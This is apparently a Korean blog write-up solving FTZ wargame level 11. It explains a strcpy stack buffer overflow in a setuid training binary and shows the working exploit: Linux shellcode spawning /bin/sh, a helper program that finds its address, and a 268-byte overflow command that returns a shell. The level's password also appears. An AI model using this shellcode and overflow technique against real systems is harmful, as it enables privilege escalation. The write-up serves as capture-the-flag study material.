FTZ level 11
pw : what!@#$?
[level11@ftz level11]$ ls
attackme hint public_html tmp
항상 ls로 확인 합니다.
후에 cat hint를 해서 hint를 봅니다.
[level11@ftz level11]$ cat hint
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
어디가 취약한 부분인지 아시겠나요??
저기 strcpy가 취약한 부분입니다.
인자를 받아 복사를 하는 것인데 얼마만큼 복사를 해야하는지 지정해주지 않아서
argv[1]의 인자를 str의 256byte보다 더 많이 복사받으면 BufferOverflow가 발생하기 때문이죠~
[level11@ftz level11]$ ./attackme abcd
abcd
때문에 attackme를 실행시켜서 abcd를 넣으면 그대로 복사출력이 가능합니다.
이제 GDB로 한번 attackme를 까보죠
[level11@ftz level11]$ gdb attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc14
0x08048481 <main+17>: push 0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0x8
0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12]
0x08048494 <main+36>: add eax,0x4
0x08048497 <main+39>: push DWORD PTR [eax]
0x08048499 <main+41>: lea eax,[ebp-264]
0x0804849f <main+47>: push eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add esp,0x10
0x080484a8 <main+56>: sub esp,0xc
0x080484ab <main+59>: lea eax,[ebp-264]
0x080484b1 <main+65>: push eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add esp,0x10
0x080484ba <main+74>: leave
0x080484bb <main+75>: ret
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
0x080484bf <main+79>: nop
End of assembler dump.
보시면 <main+33>에서 MOV EAX, DWORD PTR [ebp+12]를 통해서 argv의 값을 EAX로 이동하는 것을 볼 수 있습니다.
그리고 그후 <main+41>부분에서 strcpy가 사용되어 [ebp-264]에 있는 값의 주소가 EAX로 오게 되고 <main+59>에서는 printf가 사용되어 [EBP+264]에 있는 값의 주소를 EAX로 옮겨 그 후에 출력을 합니다.
때문에 우리가 봐야할 것은 264뿐입니다.
dummy[264]+SFP[4]+shellcode가 있는 주소[4byte]하면 끝
시작해봅시당
우선 쉘코드를 넣어주어야하므로 환경변수에 쉘코드를 넣어줍시다. (쉘코드는 구글에 치면 나와요)
[level11@ftz tmp]$ export shellcode=$(python -c 'print"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
후에 이 쉘코드가 있는 주소를 알아야 하므로 프로그래밍을 해야합니다.
[level11@ftz tmp]$ vi shell.c
#include<stdio.h>
int main()
{
printf("%p\n",getenv("shellcode"));
return 0;
}
이후에 컴파일을 합시다.
[level11@ftz tmp]$ gcc -o shell shell.c
그러면 이렇게 짠
[level11@ftz tmp]$ ls
shell shell.c
실행을 하면 쉘코드가 위치한 주소가나옵니다.
[level11@ftz tmp]$ ./shell
0xbffffef2
이제 아까 말했던
268byte에 \xf2\xfe\xff\xbf를 넣으면 됩니다.
python을 이용하죠
[level11@ftz level11]$ ./attackme `python -c 'print "A"*268+"\xf2\xfe\xff\xbf"'`
sh-2.05b$
sh-2.05b$ my-pass
Level12 Password is ---------------.
완료
다음시간에 봅시다. 정답은 실습을 해보시면 나와요~
'Write-up > FTZ' 카테고리의 다른 글
FTZ - level 9 (2) | 2020.01.31 |
---|